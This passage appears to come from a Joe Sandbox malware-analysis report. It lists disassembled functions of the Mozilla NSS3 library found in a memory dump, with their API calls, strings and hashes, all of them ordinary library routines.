memcpy.VCRUNTIME140(?,?,?), ref: 6CDE30EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CDE3131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDE3178

Strings

%s at line %d of [%.10s], xrefs: 6CDE3171
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDE3022, 6CDE3156, 6CDE3162, 6CDE318A, 6CDE3196, 6CDE31A2, 6CDE31AE, 6CDE31BA, 6CDE31C6
database corruption, xrefs: 6CDE316C

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: 4085632c26fa859f333362125c8b04fe17f9ea4db1bcd999c4741c629ba70502
Instruction ID: f207b496ad64ce72856f13f23261b7171f95ad6090245782d0666f4f914f21cd
Opcode Fuzzy Hash: 4085632c26fa859f333362125c8b04fe17f9ea4db1bcd999c4741c629ba70502
Instruction Fuzzy Hash: 25B18BB0E05219DBCB18CF9DC884AFEB7B1BB4C304F54802EE859A7B61D7759941CBA4

Function 6CEB7F90 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

PR_GetMonitorEntryCount.NSS3(?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CEB7FB2

Part of subcall function 6CE3BA40: TlsGetValue.KERNEL32 ref: 6CE3BA51
Part of subcall function 6CE3BA40: TlsGetValue.KERNEL32 ref: 6CE3BA6B
Part of subcall function 6CE3BA40: EnterCriticalSection.KERNEL32 ref: 6CE3BA83
Part of subcall function 6CE3BA40: TlsGetValue.KERNEL32 ref: 6CE3BAA1
Part of subcall function 6CE3BA40: _PR_MD_UNLOCK.NSS3 ref: 6CE3BAC0

PR_EnterMonitor.NSS3(?,?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CEB7FD4

Part of subcall function 6CF09090: TlsGetValue.KERNEL32 ref: 6CF090AB
Part of subcall function 6CF09090: TlsGetValue.KERNEL32 ref: 6CF090C9
Part of subcall function 6CF09090: EnterCriticalSection.KERNEL32 ref: 6CF090E5
Part of subcall function 6CF09090: TlsGetValue.KERNEL32 ref: 6CF09116
Part of subcall function 6CF09090: LeaveCriticalSection.KERNEL32 ref: 6CF0913F

Part of subcall function 6CEB9430: PR_SetError.NSS3(FFFFD0AC,00000000), ref: 6CEB9466

PR_ExitMonitor.NSS3(?), ref: 6CEB801B
PR_EnterMonitor.NSS3(?), ref: 6CEB8034
TlsGetValue.KERNEL32 ref: 6CEB80A2
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEB80C0
PR_ExitMonitor.NSS3(?), ref: 6CEB811C
PR_ExitMonitor.NSS3(?), ref: 6CEB8134

Strings

), xrefs: 6CEB80DB

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSection$Error$CountEntryLeave
String ID: )
API String ID: 3537756449-2427484129
Opcode ID: e2ea25f4d7a31f3444d20423ef0b137efe24fcf39efacb82d7b4d246ce415f57
Instruction ID: 906b4dbe9dfe71431882a65d8ea66d15f38ab1b141e6241856878dd470852f22
Opcode Fuzzy Hash: e2ea25f4d7a31f3444d20423ef0b137efe24fcf39efacb82d7b4d246ce415f57
Instruction Fuzzy Hash: 82515675A017069BF7219F349E017FBB7B0AF5234CF24052DDD9966B41EB31A608C792

Function 6CE5FCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6CE5FCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6CE5FCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6CE5FCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE5FD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6CE5FD46
PORT_Alloc_Util.NSS3(00000001), ref: 6CE5FD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6CE5FD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE5FD84

Strings

:, xrefs: 6CE5FD78

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: 5b563fbde722fbd9430a99272e48fbfbabc7fa3ba0bc927b9c6eee5977416b04
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: BC31B3B6D002155BEB008AA49C057AF77B8AF5531CF650139DD14A7B00E77AE929C7D2

Function 6CE76C40 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6CE76C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE76C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE76CA3

Part of subcall function 6CF5D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF5D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE76CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CE76CD5

Strings

hSession = 0x%x, xrefs: 6CE76C7E, 6CE76C8E
(CK_INVALID_HANDLE), xrefs: 6CE76C9C
C_DigestInit, xrefs: 6CE76C61
pMechanism = 0x%p, xrefs: 6CE76CD0

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit
API String ID: 1003633598-3690128261
Opcode ID: 21bbc599a4a70e4cc588794284efa9ee365b32dec4c401fc1769945ba027e4c3
Instruction ID: d73285337825d103b76c6f5c3d57fcd1f59a1542ecde37846d1a325f1674eb7a
Opcode Fuzzy Hash: 21bbc599a4a70e4cc588794284efa9ee365b32dec4c401fc1769945ba027e4c3
Instruction Fuzzy Hash: 15212831B11114DBDB509BA6EE48F9E77B9EB4231CF554029E90D97B02DF31AD08CBA2

Function 6CE79DD0 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 85COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SessionCancel), ref: 6CE79DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE79E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE79E33

Part of subcall function 6CF5D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF5D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE79E49
PR_LogPrint.NSS3( flags = 0x%x,?), ref: 6CE79E65

Strings

hSession = 0x%x, xrefs: 6CE79E0E, 6CE79E1E
(CK_INVALID_HANDLE), xrefs: 6CE79E2C
flags = 0x%x, xrefs: 6CE79E60
C_SessionCancel, xrefs: 6CE79DF1

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: flags = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_SessionCancel
API String ID: 1003633598-1678415578
Opcode ID: 24d7a1dc187f8e7b7a4a406f26fb222a9e22f09e8023524f07705039e4fa272d
Instruction ID: 71fd9ecdd0bf1832484d44e077dee828151d7aee65411e31230c29c68e10f783
Opcode Fuzzy Hash: 24d7a1dc187f8e7b7a4a406f26fb222a9e22f09e8023524f07705039e4fa272d
Instruction Fuzzy Hash: 7C210471B01104DFDB509BA5AD88BAEB7B4EF4230DF544428E90DA7B11DB31AC49CBA2

Function 6CE40F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CE40F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CE40F84

Part of subcall function 6CE9B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF718D0,?), ref: 6CE9B095

SEC_QuickDERDecodeItem_Util.NSS3(?,6CE5F59B,6CF6890C,?), ref: 6CE40FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6CE40FC1

Part of subcall function 6CEA0BE0: malloc.MOZGLUE(6CE98D2D,?,00000000,?), ref: 6CEA0BF8
Part of subcall function 6CEA0BE0: TlsGetValue.KERNEL32(6CE98D2D,?,00000000,?), ref: 6CEA0C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6CE40FDB
PR_CallOnce.NSS3(6CFA2AA4,6CEA12D0), ref: 6CE40FEF
PL_FreeArenaPool.NSS3(?), ref: 6CE41001
PL_FinishArenaPool.NSS3(?), ref: 6CE41009

Strings

security, xrefs: 6CE40F5C

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: 6d1ed4e0117cfddf78808c2a7c84101f6c78f98fbd2bf5618710bdcd42ed4d36
Instruction ID: da88db5968ee6e54f723a075ceb6c84e990e72f38ae701e8c18e309681c5314a
Opcode Fuzzy Hash: 6d1ed4e0117cfddf78808c2a7c84101f6c78f98fbd2bf5618710bdcd42ed4d36
Instruction Fuzzy Hash: 9A21F771900204AFE7109F65EC41AAE7BB4EF4565CF108529FC189A711F732D916CBE2

Function 6CE46DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6CE47D8F,6CE47D8F,?,?), ref: 6CE46DC8

Part of subcall function 6CE9FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CE9FE08
Part of subcall function 6CE9FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CE9FE1D
Part of subcall function 6CE9FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CE9FE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6CE47D8F,?,?), ref: 6CE46DD5

Part of subcall function 6CEA10C0: TlsGetValue.KERNEL32(?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA10F3
Part of subcall function 6CEA10C0: EnterCriticalSection.KERNEL32(?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA110C
Part of subcall function 6CEA10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA1141
Part of subcall function 6CEA10C0: PR_Unlock.NSS3(?,?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA1182
Part of subcall function 6CEA10C0: TlsGetValue.KERNEL32(?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CF68FA0,00000000,?,?,?,?,6CE47D8F,?,?), ref: 6CE46DF7

Part of subcall function 6CE9B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF718D0,?), ref: 6CE9B095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CE46E35

Part of subcall function 6CE9FDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CE9FE29
Part of subcall function 6CE9FDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CE9FE3D
Part of subcall function 6CE9FDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6CE9FE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CE46E4C

Part of subcall function 6CEA10C0: PL_ArenaAllocate.NSS3(?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CF68FE0,00000000), ref: 6CE46E82

Part of subcall function 6CE46AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6CE4B21D,00000000,00000000,6CE4B219,?,6CE46BFB,00000000,?,00000000,00000000,?,?,?,6CE4B21D), ref: 6CE46B01
Part of subcall function 6CE46AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6CE46B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CE46F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CE46F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CF68FE0,00000000), ref: 6CE46F6B
PR_SetError.NSS3(FFFFE005,00000000,6CE47D8F,?,?), ref: 6CE46FE1

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 30b56f8b72bc4f810afb2ef65d25a1b8b8b96a1e8ebb8a757e4a354377927529
Instruction ID: d0fb4f9665d15a9d008cadd959f6f1c1bee23636786525ec90ce31e56417560f
Opcode Fuzzy Hash: 30b56f8b72bc4f810afb2ef65d25a1b8b8b96a1e8ebb8a757e4a354377927529
Instruction Fuzzy Hash: 2D717F71D106469BDB00CF55DD41BAABBB8BF9530CF258229E848DBB11F770EA94CB90

Function 6CE80FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE81057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE81085
PK11_GetAllTokens.NSS3 ref: 6CE810B1
free.MOZGLUE(?), ref: 6CE81107
PR_SetError.NSS3(00000000,00000000), ref: 6CE81172
free.MOZGLUE(?), ref: 6CE81182
free.MOZGLUE(?), ref: 6CE811A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6CE811C5

Part of subcall function 6CE852C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6CE5EAC5,00000001), ref: 6CE852DF
Part of subcall function 6CE852C0: EnterCriticalSection.KERNEL32(?), ref: 6CE852F3
Part of subcall function 6CE852C0: PR_Unlock.NSS3(?), ref: 6CE85358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CE811D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CE811F3

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: 89ba0554af5bd60e83a51326aac90be1b734eb0b7a03704eb084ca56dce8d623
Instruction ID: ba0172e06c95843093a23e5b77218675fe258564cdf31a104ffb1185396d179f
Opcode Fuzzy Hash: 89ba0554af5bd60e83a51326aac90be1b734eb0b7a03704eb084ca56dce8d623
Instruction Fuzzy Hash: F86183B1E023459BEB00DFA5DC41BAAB7B5AF04348F244128ED2DAB741EB71E945CB51

Function 6CE8ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CE6CDBB,?,6CE6D079,00000000,00000001), ref: 6CE8AE10
EnterCriticalSection.KERNEL32(?,?,6CE6CDBB,?,6CE6D079,00000000,00000001), ref: 6CE8AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6CE6D079,00000000,00000001), ref: 6CE8AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CE6CDBB,?,6CE6D079,00000000,00000001), ref: 6CE8AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6CE6CDBB,?,6CE6D079,00000000,00000001), ref: 6CE8AE7F
TlsGetValue.KERNEL32(?,6CE6CDBB,?,6CE6D079,00000000,00000001), ref: 6CE8AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CE6CDBB,?,6CE6D079,00000000,00000001), ref: 6CE8AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CE6CDBB,?,6CE6D079,00000000,00000001), ref: 6CE8AEF1
free.MOZGLUE(6CE6CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE6CDBB,?), ref: 6CE8AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CE6CDBB,?,6CE6D079,00000000,00000001), ref: 6CE8AF30

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 6c182cd5218549792cf9c6c145bd1d750128e1419a910fac04ffd844451f10d0
Instruction ID: 90427dce86e861713d2fab74f6b9fd73171c3a2e62c9ff3ef5a217b89d8df1f3
Opcode Fuzzy Hash: 6c182cd5218549792cf9c6c145bd1d750128e1419a910fac04ffd844451f10d0
Instruction Fuzzy Hash: 7A51BDB1A42601EFDB009F25D885B5AB7B4BF09318F244668E90C97B51E731F8A4CBE1

Function 6CE64CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6CE6AB7F,?,00000000,?), ref: 6CE64CB4
EnterCriticalSection.KERNEL32(0000001C,?,6CE6AB7F,?,00000000,?), ref: 6CE64CC8
TlsGetValue.KERNEL32(?,6CE6AB7F,?,00000000,?), ref: 6CE64CE0
EnterCriticalSection.KERNEL32(?,?,6CE6AB7F,?,00000000,?), ref: 6CE64CF4
PL_HashTableLookup.NSS3(?,?,?,6CE6AB7F,?,00000000,?), ref: 6CE64D03
PR_Unlock.NSS3(?,00000000,?), ref: 6CE64D10

Part of subcall function 6CEEDD70: TlsGetValue.KERNEL32 ref: 6CEEDD8C
Part of subcall function 6CEEDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEEDDB4

PR_Now.NSS3(?,00000000,?), ref: 6CE64D26

Part of subcall function 6CF09DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF50A27), ref: 6CF09DC6
Part of subcall function 6CF09DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF50A27), ref: 6CF09DD1
Part of subcall function 6CF09DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF09DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6CE64D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6CE64DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6CE64E02

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: ff047a1da0f9480fd86aab686f02a46e540d2257fa2f5148b541c13884899f56
Instruction ID: c511f04107331a1a78080ae18fdd88322bddaa8db106c85c51fac08562a3ccc5
Opcode Fuzzy Hash: ff047a1da0f9480fd86aab686f02a46e540d2257fa2f5148b541c13884899f56
Instruction Fuzzy Hash: F641D8B6E102059BEB019F25EC54A9677B8AF0625CF254175EC0887F11FB31D925C792

Function 6CE4BFF0 Relevance: 15.1, APIs: 10, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE4BFFB

Part of subcall function 6CEA0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE487ED,00000800,6CE3EF74,00000000), ref: 6CEA1000
Part of subcall function 6CEA0FF0: PR_NewLock.NSS3(?,00000800,6CE3EF74,00000000), ref: 6CEA1016
Part of subcall function 6CEA0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE487ED,00000008,?,00000800,6CE3EF74,00000000), ref: 6CEA102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000018C), ref: 6CE4C015

Part of subcall function 6CEA10C0: TlsGetValue.KERNEL32(?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA10F3
Part of subcall function 6CEA10C0: EnterCriticalSection.KERNEL32(?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA110C
Part of subcall function 6CEA10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA1141
Part of subcall function 6CEA10C0: PR_Unlock.NSS3(?,?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA1182
Part of subcall function 6CEA10C0: TlsGetValue.KERNEL32(?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA119C

memset.VCRUNTIME140(-00000004,00000000,00000188), ref: 6CE4C032
DER_SetUInteger.NSS3(00000000,00000078,00000000), ref: 6CE4C04D

Part of subcall function 6CE969E0: PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE96A47
Part of subcall function 6CE969E0: memcpy.VCRUNTIME140(00000000,-00000005,00000001), ref: 6CE96A64

DER_SetUInteger.NSS3(00000000,00000084,?), ref: 6CE4C064
CERT_CopyName.NSS3(00000000,000000A8,?), ref: 6CE4C07B

